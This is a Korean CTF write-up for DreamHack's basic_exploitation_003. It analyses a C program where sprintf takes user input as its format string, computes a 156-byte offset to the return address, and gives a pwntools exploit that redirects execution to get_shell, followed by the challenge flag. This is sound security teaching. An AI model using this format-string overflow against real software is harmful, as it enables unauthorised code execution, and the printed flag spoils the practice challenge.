본문 바로가기

Pwnable

[DreamHack] basic_exploitation_003 Write-Up

 

 NX 보호 기법이 켜져있다. 쉘 코드가 실행되지 않다는 뜻이다.

Partial RELRO이므로 GOT Overwrite 가 가능하다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};
    initialize();
    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO : %s\n", stack_buf);
    return 0;
}

 

 

read(0, heap_buf, 0x80)로 stack_buf 입력을 0x80 바이트만 받는다.
stack_buf에선 BOF가 발생하지 않는다.

 sprintf에 주목했다. 입력 값을 heap_buf에 저장하고 sprintf(stack_buf, heap_buf)로 stack_buf에 복사한다. 이 때 복사 과정에서 heap_buf에 대한 검증을 하지 않는다. 

 

따라서 sprintf()를 실행할 때 heap_buf에 format string이 있다면 FSB가 발생한다. 이렇게 FSB 를 트리거하면 사이즈 제한 없이 입력할 수 있으니까 BOF를 발생시킬 수 있다.

 

즉 heap_buf에서 stack_buf로 출력할 때, %100c가 적재되면 heap_buf에는 "%100c"로 5자리 문자로 인식되나 stack_buf에는 100바이트가 입력되는 것이다.


이를 이용해서 ret부분까지 format string으로 채우고, ret에 get_shell 주소를 입력해보자.

 

 

 

get_shell() 주소는 0x8048669이다.

 stack_buf 에서 RET까지의 거리를 구해보자. [ebp-0x98]인 stack_buf 주소를 인자로 넣고 printf()를 실행한다.

 즉 [ebp-0x98]이 stack_buf 주소가 되니까, 152(0x98)+ 4(SFP) = 156 byte만큼이 stack_buf 에서 RET까지의 거리가 된다.

 



 

 

from pwn import*
 
p = remote("host3.dreamhack.games", 15694)
 
get_shell = 0x8048669
 
payload = b'%156c' + p32(get_shell)
 
 
p.sendline(payload)
 
p.interactive()

 

RET을 덮으려면 stack_buf을 156 byte dummy로 채워야하는데, 이 때 임의의 바이트를 더미로 메모리에 저장하는 "%c" 포맷스트링을 사용해주었다.  

 

Flag is
DH{4e6e355c62249b2da3b566f0d575007e}